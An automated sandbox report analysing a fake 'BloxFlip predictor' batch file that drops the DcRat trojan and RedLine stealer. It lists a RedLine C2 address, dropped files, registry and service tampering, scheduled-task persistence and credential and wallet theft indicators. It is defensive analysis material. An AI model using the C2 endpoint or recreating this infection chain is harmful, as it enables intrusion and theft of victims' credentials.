dcrat | ec9841cb538722c15ef2900a750f8cc9a50f2b26d35078819117e180c1926e78

Analysis

max time kernel
53s
max time network
70s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
03-09-2022 07:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BLOXFLIP-Predictor-main/BloxPredictor.bat
Size

24KB
MD5

2ce736935920d83e5d55570739ca8c17
SHA1

9aab2f25403a0fe6921c152f61ed3d2ceacfad49
SHA256

001c531b29372d4f6c7697ac00a575773470d23c8681d1d5930aa1e4cd860b76
SHA512

c58589dbcf5a23ca2cd9284733db20659b81850a33bc6eddf6379507fb7307a569019373168665fee93c02d42bdd3ee3c42377db7e16405e32f6e7554d8a3de0
SSDEEP

768:lsh2CrG0Qz6Ee7Z+x4a7eE8xRrQAh+WVqMJzO:BCrGrGE7x4a7eDfrQAh+SJzO

Score

10^/10

dcrat redline dv discovery evasion exploit infostealer rat spyware stealer

Malware Config

Extracted

Family

redline

Botnet

195.3.223.79:65252

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

Process spawned unexpected child process 39 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3792	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4892	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3096	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3416	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4960	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3900	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4612	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5040	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4624	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3704	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3496	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3680	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3536	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4852	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1132	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	940	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	584	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4352	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4436	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2212	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4804	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	640	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3152	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1044	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5060	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2464	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1820	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2416	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3368	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3656	2328	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	824	2328	schtasks.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe	family_redline
behavioral1/memory/4656-436-0x0000000000BA0000-0x0000000000BBE000-memory.dmp	family_redline

DCRat payload 20 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\protection1.exe	dcrat
C:\Users\Admin\AppData\Roaming\protection1.exe	dcrat
C:\containerServerWebMonitornet\ContainerServersvc.exe	dcrat
C:\containerServerWebMonitornet\ContainerServersvc.exe	dcrat
behavioral1/memory/2424-566-0x0000000000330000-0x000000000061C000-memory.dmp	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
C:\containerServerWebMonitornet\powershell.exe	dcrat
behavioral1/memory/4488-1065-0x00000000003D0000-0x00000000006BC000-memory.dmp	dcrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 940 powershell.exe
Downloads MZ/PE file

flow	pid	process
2	940	powershell.exe

Drops file in Drivers directory 2 IoCs

Processes:

LicenceChecker.exeupdaterchr.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	LicenceChecker.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	updaterchr.exe

Executes dropped EXE 20 IoCs

Processes:

BloxPredictor.bat.exeprotection1.exeLicenceChecker.exeLicenceOutput.exeContainerServersvc.exeupdaterchr.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeexplorer.exe

pid	process
4724	BloxPredictor.bat.exe
5060	protection1.exe
3240	LicenceChecker.exe
4656	LicenceOutput.exe
2424	ContainerServersvc.exe
1452	updaterchr.exe
4416	powershell.exe
4488	powershell.exe
1160	powershell.exe
2180	powershell.exe
4428	powershell.exe
2184	powershell.exe
1272	powershell.exe
4940	powershell.exe
2460	powershell.exe
4460	powershell.exe
1816	powershell.exe
660	powershell.exe
2652	powershell.exe
2140	explorer.exe

Possible privilege escalation attempt 4 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

4720 icacls.exe
216 takeown.exe
2712 icacls.exe
1036 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

216 takeown.exe
2712 icacls.exe
1036 takeown.exe
4720 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

pid	process
4720	icacls.exe
216	takeown.exe
2712	icacls.exe
1036	takeown.exe

pid	process
216	takeown.exe
2712	icacls.exe
1036	takeown.exe
4720	icacls.exe

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exeupdaterchr.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\1751.tmp	updaterchr.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\updaterchr.exe.log	updaterchr.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

updaterchr.exe

description pid process target process

PID 1452 set thread context of 2140 1452 updaterchr.exe explorer.exe

description	pid	process	target process
PID 1452 set thread context of 2140	1452	updaterchr.exe	explorer.exe

Drops file in Program Files directory 28 IoCs

Processes:

ContainerServersvc.exeLicenceChecker.exeupdaterchr.exe

description	ioc	process
File created	C:\Program Files\Windows Media Player\dllhost.exe	ContainerServersvc.exe
File created	C:\Program Files\Windows Multimedia Platform\ContainerServersvc.exe	ContainerServersvc.exe
File created	C:\Program Files (x86)\Internet Explorer\it-IT\e978f868350d50	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\ShellExperienceHost.exe	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Multimedia Platform\RCXD04D.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\RCXD35C.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\RCXD3DA.tmp	ContainerServersvc.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\f8c8f1285d826b	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\RCXCA3E.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Multimedia Platform\RCXD0DB.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\it-IT\RCXE2A7.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Media Player\dllhost.exe	ContainerServersvc.exe
File created	C:\Program Files\Windows Multimedia Platform\1296ed7a143844	ContainerServersvc.exe
File created	C:\Program Files (x86)\Common Files\Services\LicenceOutput.exe	ContainerServersvc.exe
File created	C:\Program Files (x86)\Internet Explorer\it-IT\powershell.exe	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Media Player\RCXC73F.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\LicenceOutput.exe	ContainerServersvc.exe
File created	C:\Program Files\Windows Media Player\5940a34987c991	ContainerServersvc.exe
File created	C:\Program Files (x86)\Common Files\Services\f57a1424785743	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Media Player\RCXC7BD.tmp	ContainerServersvc.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\it-IT\powershell.exe	ContainerServersvc.exe
File created	C:\Program Files\Google\Chrome\updaterchr.exe	LicenceChecker.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\it-IT\RCXE363.tmp	ContainerServersvc.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\ShellExperienceHost.exe	ContainerServersvc.exe
File opened for modification	C:\Program Files\Windows Multimedia Platform\ContainerServersvc.exe	ContainerServersvc.exe
File opened for modification	C:\Program Files\Google\Chrome\updaterchr.exe	LicenceChecker.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\RCXCACC.tmp	ContainerServersvc.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updaterchr.exe

Drops file in Windows directory 11 IoCs

Processes:

ContainerServersvc.exe

description	ioc	process
File created	C:\Windows\INF\LicenceOutput.exe	ContainerServersvc.exe
File created	C:\Windows\debug\Idle.exe	ContainerServersvc.exe
File opened for modification	C:\Windows\INF\LicenceOutput.exe	ContainerServersvc.exe
File created	C:\Windows\WinSxS\conhost.exe	ContainerServersvc.exe
File created	C:\Windows\debug\6ccacd8608530f	ContainerServersvc.exe
File opened for modification	C:\Windows\INF\RCXE614.tmp	ContainerServersvc.exe
File opened for modification	C:\Windows\INF\RCXE692.tmp	ContainerServersvc.exe
File opened for modification	C:\Windows\debug\RCXFB45.tmp	ContainerServersvc.exe
File opened for modification	C:\Windows\debug\RCXFBC3.tmp	ContainerServersvc.exe
File opened for modification	C:\Windows\debug\Idle.exe	ContainerServersvc.exe
File created	C:\Windows\INF\f57a1424785743	ContainerServersvc.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3036 sc.exe
4548 sc.exe
4612 sc.exe
5016 sc.exe
3704 sc.exe
3332 sc.exe
4464 sc.exe
1576 sc.exe
3660 sc.exe
1004 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4436 2424 WerFault.exe ContainerServersvc.exe

pid	process
3036	sc.exe
4548	sc.exe
4612	sc.exe
5016	sc.exe
3704	sc.exe
3332	sc.exe
4464	sc.exe
1576	sc.exe
3660	sc.exe
1004	sc.exe

pid	pid_target	process	target process
4436	2424	WerFault.exe	ContainerServersvc.exe

Creates scheduled task(s) 1 TTPs 39 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
640	schtasks.exe
5060	schtasks.exe
2416	schtasks.exe
824	schtasks.exe
3096	schtasks.exe
4416	schtasks.exe
1132	schtasks.exe
4804	schtasks.exe
3160	schtasks.exe
4960	schtasks.exe
3496	schtasks.exe
5044	schtasks.exe
1820	schtasks.exe
584	schtasks.exe
4352	schtasks.exe
2212	schtasks.exe
4436	schtasks.exe
3416	schtasks.exe
4400	schtasks.exe
2776	schtasks.exe
940	schtasks.exe
2272	schtasks.exe
3656	schtasks.exe
4892	schtasks.exe
3900	schtasks.exe
1064	schtasks.exe
3152	schtasks.exe
1044	schtasks.exe
3016	schtasks.exe
3792	schtasks.exe
5040	schtasks.exe
4852	schtasks.exe
4612	schtasks.exe
3680	schtasks.exe
3368	schtasks.exe
2464	schtasks.exe
4624	schtasks.exe
3704	schtasks.exe
3536	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

updaterchr.exepowershell.exeexplorer.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	updaterchr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

protection1.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000_Classes\Local Settings protection1.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000_Classes\Local Settings	protection1.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
2244	reg.exe
3016	reg.exe
2416	reg.exe
3136	reg.exe
4816	reg.exe
1816	reg.exe
3160	reg.exe
2004	reg.exe
940	reg.exe
2644	reg.exe
396	reg.exe
1732	reg.exe
3320	reg.exe
644	reg.exe
4496	reg.exe
3164	reg.exe
4372	reg.exe
2388	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

BloxPredictor.bat.exepowershell.exepowershell.exepowershell.exepowershell.exeLicenceChecker.exeContainerServersvc.exepowershell.exeLicenceOutput.exe

pid	process
4724	BloxPredictor.bat.exe
4724	BloxPredictor.bat.exe
4724	BloxPredictor.bat.exe
940	powershell.exe
940	powershell.exe
940	powershell.exe
2292	powershell.exe
2292	powershell.exe
2292	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
3240	LicenceChecker.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
1304	powershell.exe
1304	powershell.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
1304	powershell.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
4656	LicenceOutput.exe
4656	LicenceOutput.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe
2424	ContainerServersvc.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

620

pid	process
620

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

BloxPredictor.bat.exepowershell.exepowershell.exepowershell.exeLicenceOutput.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	4724	BloxPredictor.bat.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeIncreaseQuotaPrivilege	940	powershell.exe
Token: SeSecurityPrivilege	940	powershell.exe
Token: SeTakeOwnershipPrivilege	940	powershell.exe
Token: SeLoadDriverPrivilege	940	powershell.exe
Token: SeSystemProfilePrivilege	940	powershell.exe
Token: SeSystemtimePrivilege	940	powershell.exe
Token: SeProfSingleProcessPrivilege	940	powershell.exe
Token: SeIncBasePriorityPrivilege	940	powershell.exe
Token: SeCreatePagefilePrivilege	940	powershell.exe
Token: SeBackupPrivilege	940	powershell.exe
Token: SeRestorePrivilege	940	powershell.exe
Token: SeShutdownPrivilege	940	powershell.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeSystemEnvironmentPrivilege	940	powershell.exe
Token: SeRemoteShutdownPrivilege	940	powershell.exe
Token: SeUndockPrivilege	940	powershell.exe
Token: SeManageVolumePrivilege	940	powershell.exe
Token: 33	940	powershell.exe
Token: 34	940	powershell.exe
Token: 35	940	powershell.exe
Token: 36	940	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
